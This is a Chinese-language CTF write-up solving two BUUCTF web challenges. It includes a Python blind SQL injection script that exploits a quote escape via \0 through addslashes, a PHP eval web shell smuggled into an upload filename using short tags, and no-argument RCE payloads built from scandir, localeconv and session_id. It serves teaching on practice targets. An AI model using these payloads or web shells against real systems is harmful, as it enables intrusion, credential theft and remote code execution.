0X01 前言
现在开始记录BUUCTF上的web了,每周认真刷一些题,了解一些知识点和套路,不要让自己这么菜。。
0X02 正文
发现是一个登录界面,先从登录框fuzz一下,看能否万能密码通过,无果。
一般直接是登录框,肯定隐藏这其他目录或者是源码泄露,所以开始扫目录
dirsearch -u "http://1606db13-c732-47b1-8026-e57a5eeee572.node3.buuoj.cn/" -e u
啥也没扫到,原来是请求频繁了,没得办法,只能burpsuite线程变小,时间延迟变高,再来扫一遍目录,发现了robots.txt

F12查看发现有
image.php
,其实这里很奇怪,一个照片单独用php来显示出来,并且还有id=4
,所以我们这里看一下image.php.bak
,发现源码泄露,这里贴一下源码:
<?php
include "config.php";
$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";
$id=addslashes($id);
$path=addslashes($path);
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);
$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);
$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);
这里代码比较短,我们仔细审计一下:
这里将id
和path
都做了addslashes
处理:

将
id
和path
转义,我们接着分析:
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);
将id
和path
中存在数组中的字符串给清空,在来看核心代码:
$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
这个时候其实是没有任何过滤的,试想这是我们id=\0
,则在addslashes
后变为id=\\0
,随后将\0
其清空,那么这是id=\
,正好可以使单引号逃逸出来,变成:
$result=mysqli_query($con,"select * from images where id=' \' or path=' {$path}'");
可以看到现在id
的值为\' or path=
,所以path就可以进行盲注了。贴下盲注脚本:
import requests
url = "http://1606db13-c732-47b1-8026-e57a5eeee572.node3.buuoj.cn/image.php"
result = ''
for x in range(0, 100):
high = 127
low = 32
mid = (low + high) // 2
while high > low:
#payload = " or id=if(ascii(substr((database()),%d,1))>%d,1,0)#" % (x, mid)
#payload = " or id=if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),%d,1))>%d,1,0)#" % (x, mid)
#users
#payload = " or id=if(ascii(substr((select column_name from information_schema.columns where table_name=0x7573657273 limit 1,1),%d,1))>%d,1,0)#" % (x, mid)
#password
payload = " or id=if(ascii(substr((select password from users limit 0,1),%d,1))>%d,1,0)#" % (x, mid)
params = {
'id':'\\0',
'path':payload
}
response = requests.get(url, params=params)
if b'JFIF' in response.content:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
result += chr(int(mid))
print(result)
得到了password,直接登录后发现是一个上传页面:

先传个一句话gif探探路子:

发现貌似像一个PHP日志文件,路径也给出来了,先去看看。

这里是PHP文件,而且直接把我们的
filename
挂到php内容里了,前几天正好看到一个传一句话直接到日志文件,那我们这里也尝试一下,将filename
改成
<?php eval($_POST['cmd']);?>

发现过滤了PHP,我们知道在php的配置文件(php.ini)中有一个
short_open_tag
的值,开启以后可以使用PHP的短标签:<?= ?>
相当于<?php echo >
,这个时候把短标签试试,<?= eval($_POST['cmd']);?>
,成功执行:
接下里直接蚁剑连接即可,
flag
在根目录下。
[GXYCTF2019]禁止套娃
又是啥也没有系列,看看HTTP
头,啥也没有,直接开扫,发现git文件泄露
,githack
把源码扒下来:
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
我们来看一下这个正则,(?R)是引用当前表达式
,而(?R)?
可以引用也可以不引用了,引用一次正则则变成了[a-z,_]+\([a-z,_]+\((?R)?\)\)
,可以迭代下去,那么它所匹配的就是print(echo(1))
、a(b(c()));
类似这种可以括号和字符组成的,这其实是无参数RCE
比较典型的例子,get
也过滤了,这里可能就要比较骚的姿势了。
我们先要看一下本目录的文件,scandir('.');
,但是如何得到这个.
呢?搜索资料后发现localeconv()
函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是.

而
current()
返回数组中的当前单元, 默认取第一个值。这里我们就能够得到当前目录了
发现就
flag.php
就在当前目录,如何得到倒数第二个文件,这里得去翻文档了。array_reverse()
以相反的元素顺序返回数组array_flip()
交换数组的键和值array_rand()
从数组中随机取出一个或多个单元,不断刷新访问就会不断随机返回
<?php
$arr1 = array('a','b','c','d','e');
print_r(array_rand(array_flip($arr1)));
?>
这样会在数组中随机得到数组的值,这里禁了get_file_contents
,我们可以使用readfile
或者highlight_file()
来读取,构造payload:
?exp=readfile(array_rand(array_flip(scandir(current(localeconv())))));

可能这里看着有点绕,可以使用
session_id()
来进行任意文件读取,如何利用?
session_id
可以获取PHPSESSID的值,而我们知道PHPSESSID允许字母和数字出现,而flag.php
符合条件.因此我们在请求包中
cookie:PHPSESSID=flag.php
,使用session之前需要通过session_start()告诉PHP使用session,php默认是不主动使用session的。session_id()可以获取到当前的session id。
这样可以构造payload:
?exp=readfile(session_id(session_start()));
达到任意文件读取的效果:
